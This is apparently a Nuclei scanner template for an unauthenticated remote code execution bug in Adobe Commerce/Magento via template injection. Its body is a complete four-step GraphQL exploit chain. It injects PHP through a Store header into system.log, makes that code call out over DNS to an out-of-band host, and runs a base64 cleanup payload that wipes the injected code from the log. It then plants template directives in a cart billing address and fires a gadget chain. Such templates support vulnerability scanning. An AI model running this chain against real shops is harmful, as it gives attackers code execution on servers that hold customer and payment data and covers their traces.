Adobe Commerce/Magento <= 2.4.9 - StyleSmuggler Unauthenticated RCE via SSTI

id: CVE-2026-75650

info:
  name: Adobe Commerce/Magento <= 2.4.9 - StyleSmuggler Unauthenticated RCE via SSTI
  author: k0pak4
  severity: critical
  description: |
    Adobe Commerce contains a template injection caused by improper neutralization of special elements in the template engine, letting attackers execute arbitrary code in the context of the current user, exploit requires no user interaction
  impact: |
    Attackers can execute arbitrary code in the context of the current user, potentially leading to full system compromise.
  remediation: |
    Update to the latest version of Adobe Commerce.
  reference:
    - https://helpx.adobe.com/security/products/magento/apsb26-146.html
    - https://nvd.nist.gov/vuln/detail/CVE-2026-75650
    - https://sansec.io/research/stylesmuggler-0day
    - https://github.com/bigbridge-nl/magento2-stylesmuggler-deferred-directives-fix
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id: CVE-2026-75650
    epss-score: 0.99376
    epss-percentile: 0.9994
    cwe-id: CWE-1336
  metadata:
    verified: true
    max-request: 4
    vendor: adobe
    product: magento
    shodan-query: http.component:"Magento"
    fofa-query: app="Magento"
  tags: cve,cve2026,magento,adobe-commerce,ssti,rce,oast,kev,vkev

variables:
  cleanup_b64: "JGw9ZGlybmFtZShfX0RJUl9fLDIpLicvdmFyL2xvZy9zeXN0ZW0ubG9nJzskYz1maWxlX2dldF9jb250ZW50cygkbCk7ZmlsZV9wdXRfY29udGVudHMoJGwscHJlZ19yZXBsYWNlKCcvXDxcPy4qP1w/XD4vcycsJycsJGMpKTs="

flow: http(1) && http(2) && http(3) && http(4)

http:
  - raw:
      - |
        POST /graphql HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Store: <?php dns_get_record('{{interactsh-url}}',DNS_A);eval(base64_decode('{{cleanup_b64}}')); ?>

        {"query":"{ storeConfig { store_code } }"}

    matchers:
      - type: word
        words:
          - "Requested store is not found"
        part: body
        internal: true

  - raw:
      - |
        POST /graphql HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"query":"mutation { createEmptyCart }"}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "createEmptyCart")'
          - 'status_code == 200'
        condition: and
        internal: true

    extractors:
      - type: json
        name: cart_id
        json:
          - '.data.createEmptyCart'
        internal: true

  - raw:
      - |
        POST /graphql HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"query":"mutation s($c:String!,$a:CartAddressInput!){setBillingAddressOnCart(input:{cart_id:$c,billing_address:{address:$a}}){cart{billing_address{company}}}}","variables":{"c":"{{cart_id}}","a":{"firstname":"Test","lastname":"User","street":["{{if postcode}}{{var postcode}}{{/if}}{{/var}}{{if postcode}}{{var postcode}}{{/if}}{{if city}}{{block class=Magento\\Email\\Block\\Adminhtml\\Template\\Preview}}{{/if}}"],"city":"Austin","region":"TX","postcode":"{{var postcode}}","country_code":"US","telephone":"5125551234"}}}

    skip-variables-check: true

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "setBillingAddressOnCart")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        POST /graphql?text=%7B%7Bblock%20class%3DMagento%5CBackend%5CBlock%5CWidget%5CGrid%5CColumnSet%20rowUrl%3D%24this.template_styles%20cache_key%3Dy%7D%7D&type=2&styles%5Bfirst%5D=..%2Fvar%2Flog%2Fsystem.log&styles%5BgeneratorClass%5D=Aws%5CS3%5CS3Client&styles%5Bregion%5D=us-east-1&styles%5Bversion%5D=latest&styles%5Bs3_us_east_1_regional_endpoint%5D=regional&styles%5Bwith_resolved%5D%5B0%5D%5Binstance%5D=Magento%5CSetup%5CModule%5CDi%5CCode%5CScanner%5CArrayScanner&styles%5Bwith_resolved%5D%5B1%5D=collectEntities&styles%5Bpath%5D=dummy HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"query":"mutation { handlePayflowProResponse(input: { cart_id: \"{{cart_id}}\", paypal_payload: \"RESULT=12&RESPMSG=Declined&PNREF=A10AAF767051\" }) { cart { id } } }"}

    skip-variables-check: true

    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"
          - "http"
        condition: or